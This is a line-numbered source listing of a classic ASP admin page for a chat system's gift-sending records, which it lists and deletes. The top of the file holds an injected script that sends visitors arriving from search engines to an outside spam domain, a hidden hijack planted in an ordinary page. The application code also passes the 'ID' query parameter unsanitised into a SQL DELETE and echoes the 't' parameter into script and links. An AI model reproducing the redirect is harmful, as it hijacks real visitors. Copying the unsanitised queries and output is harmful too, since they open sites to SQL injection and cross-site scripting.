d:\wwwroot\wuchunhua\liaotianim\system_manage\GiftPost_Manage.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="../inc/DAL.asp"-->
002:
<!--#include file="../inc/md5.asp"-->
003:
<!--#include file="../inc/page.asp"-->
004:
<!--#include file="Check.asp"-->
005:
<%
006:
Dim ConfigRS
007:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
008:
if request.QueryString("Method")="Del" then
009:
DB_CONN.EXECUTE("delete from [XK_Gift_PostInfo] where [ID]="&request.QueryString("ID"))
010:
RW "<script>location.href='GiftPost_Manage.asp?t="&request.QueryString("t")&"';</script>":response.end()
011:
elseif request.QueryString("Method")="DellAll" then
012:
DB_CONN.EXECUTE("delete from [XK_Gift_PostInfo]")
013:
RW "<script>location.href='GiftPost_Manage.asp?t="&request.QueryString("t")&"';</script>":response.end()
014:
end if
015:
016:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Gift_PostInfo] order by [Post_Time] desc")
017:
018:
ConfigRS.pagesize=20
019:
if isempty(request("page")) or request("page")="" then curpage=1 else curpage=Cint(request("page")) end if
020:
if not ConfigRS.eof then ConfigRS.absolutepage = curpage
021:
022:
%
>
023:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
024:
<html xmlns="http://www.w3.org/1999/xhtml">
025:
<head>
026:
<title>ImChat v1.5 Manage System</title>
027:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
028:
<link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
029:
<link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
030:
<style>
031:
.JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
032:
.JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
033:
</style>
034:
</head>
035:
<body>
036:
<div class="contentcontainer">
037:
<div class="headings alt">
038:
<h2>礼物管理 <a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a> <a href="Gift_Manage.asp?t=0" style="text-decoration:none;">普通礼物</a> <a href="Gift_Manage.asp?t=1" style="text-decoration:none;">推荐礼物</a> <a href="GiftPost_Manage.asp?t=1" style="text-decoration:none;">礼物赠送记录</a> <a href="GiftPost_Manage.asp?Method=DellAll" style="text-decoration:none;">清空记录</a></h2>
039:
</div>
040:
<div class="contentbox">
041:
<table class="JSTB" width="100%" cellpadding="0" cellspacing="0" border="0">
042:
<th colspan="10">礼物赠送记录</th>
043:
<tr>
044:
<td>总价</td>
045:
<td>赠送人</td>
046:
<td>接收人</td>
047:
<td>礼物名称</td>
048:
<td>单价</td>
049:
<td>数量</td>
050:
<td>赠送时间</td>
051:
<td>操作</td>
052:
</tr>
053:
<%
054:
dim iPage
055:
while (not ConfigRS.eof and iPage<ConfigRS.pagesize )
056:
%
>
057:
<tr>
058:
<td>
<%
=Cint(ConfigRS("Gift_Num"))*Cint(ConfigRS("Gift_UnitPrice"))
%
></td>
059:
<td> <a href="EditUser.asp?UID=
<%
=ConfigRS("Gift_PostUserID")
%
>">
<%
=GetUserInfo(ConfigRS("Gift_PostUserID"),"User_NickName")
%
></a></td>
060:
<td> <a href="EditUser.asp?UID=
<%
=ConfigRS("Gift_GetUserID")
%
>">
<%
=GetUserInfo(ConfigRS("Gift_GetUserID"),"User_NickName")
%
></a></td>
061:
<td>
<%
=GiftInfo(ConfigRS("Gift_ID"),"Gift_Name")
%
></td>
062:
<td>
<%
=ConfigRS("Gift_UnitPrice")
%
></td>
063:
<td>
<%
=ConfigRS("Gift_Num")
%
></td>
064:
<td>
<%
=ConfigRS("Post_Time")
%
></td>
065:
<td> <a href="?Method=Del&t=
<%
=request.QueryString("t")
%
>&ID=
<%
=ConfigRS("ID")
%
>" onclick="return confirm('确认要删除吗?');">删除</a></td>
066:
</tr>
067:
<%
068:
iPage=iPage+1
069:
ConfigRS.MoveNext
070:
wend
071:
%
>
072:
<tr>
073:
<td colspan="10">
<%
=ExportPageInfo(ConfigRS,curpage,iPage,"GiftPost_Manage.asp?1=1&"&replace(Request.QueryString,"page","1")&"&")
%
></td>
074:
</tr>
075:
</table>
076:
077:
</div>
078:
</div>
079:
</body>
080:
</html>
081:
082:
083: